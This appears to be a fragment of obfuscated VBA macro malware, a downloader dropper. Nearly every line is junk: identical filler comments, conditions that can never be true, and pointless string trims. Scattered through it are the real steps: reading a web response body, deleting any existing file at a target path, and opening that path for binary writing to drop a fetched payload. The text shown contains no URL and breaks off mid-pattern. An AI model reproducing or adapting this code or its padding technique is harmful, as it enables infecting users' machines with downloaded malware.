'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 894915 = 894915 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 5797 < 51 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("LPJXODKT34") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("LGHDEDAR6648") = Len("DIHLXKGK") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF DLKMVCTD = LTrim(VESJLSLT) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 374991 = 374991 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 3646 < 92 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("OQSDOLRX43") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("UUKEBXYC4496") = Len("OPWHUWTT") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF GRYGIWGI = RTrim(DLKMVCTD) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 928338 = 928338 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 6132 < 64 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("BCQKJYDM46") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("BZPOQYXL1395") = Len("MWIDRQPU") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF DoEvents 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim TTROATQF, EJIWBUKD, HXMVAMMC As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 352833 = 352833 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 7228 < 37 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("QZBQRGZU42") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("ZDALTVKG1573") = Len("EJRYFXJW") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF TTROATQF = " FAEFAR " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 527877 = 527877 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 2927 < 47 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("BLRMFVYL29") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("BVEQIVHK5281") = Len("MJAJARRT") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF EJIWBUKD = LTrim(TTROATQF) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 434931 = 434931 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 4246 < 97 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("DGSDQFAG58") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("QOKZNJEH5996") = Len("DDWHOGZX") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF HXMVAMMC = RTrim(EJIWBUKD) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 444271 = 444271 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1281 < 49 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("XIDIZEDD23") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("CDSBWECS5554") = Len("TALMLMIQ") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Loop 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim PNSMORQS, YACYROIF, AZUKCDYG As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 366191 = 366191 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1255 < 67 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("OOXCDFYP28") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("LOLXBRQN4428") = Len("WDCOIEPU") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF PNSMORQS = " QAWGOO " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF YACYROIF = LTrim(PNSMORQS) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 942995 = 942995 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 6268 < 65 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("OPLUEOLO48") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("VPZDAMAL7928") = Len("KEALWNGU") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF AZUKCDYG = RTrim(YACYROIF) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 411315 = 411315 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 7893 < 44 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("FULOCRMG33") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("TKWHBDPV8654") = Len("YWVEUSPR") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF APXADSKJDFK = JGNEZQPKOWX.RESPONSEBODY 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim DVQQDAFL, YGZXRIEX, SQPJJZMF As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 333359 = 333359 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 9281 < 95 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("AIZXOFFS77") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("HIQRYNXC1932") = Len("PAPIBTOQ") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF DVQQDAFL = " IEOYGS " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 498313 = 498313 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 4889 < 79 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("HVUULBLB56") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("DLDXOAMN5649") = Len("AAULFDWW") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF YGZXRIEX = LTrim(DVQQDAFL) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 185434 = 185434 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1496 < 32 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("FIFEXCKX53") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("WVJZTHFF4669") = Len("ESBCEUVF") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF SQPJJZMF = RTrim(YGZXRIEX) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 497514 = 497514 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 4882 < 14 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("HBRKACEI56") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("DLPIKBRI5732") = Len("GVDMNCRH") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF LSCOYILUQNP = FreeFile 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Dir(PAUINJYOMZI) <> "" Then Kill PAUINJYOMZI 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Open PAUINJYOMZI For Binary As #LSCOYILUQNP 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim YOYMAPIG, OWMGQUKO, CQNKHLEJ As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 398266 = 398266 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1731 < 35 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("KSDOZHUK18") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("LJSNXHJJ4194") = Len("DOPRJMTT") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF YOYMAPIG = " DQMYDI " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 129799 = 129799 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1195 < 66 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("XODUSTSR27") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("MELXZUFY2855") = Len("XUWPQTDS") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF OWMGQUKO = LTrim(YOYMAPIG) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 444271 = 444271 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 7497 < 78 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("XISOTIPF23") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("RVHUFAYU8347") = Len("BKGDUYLM") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 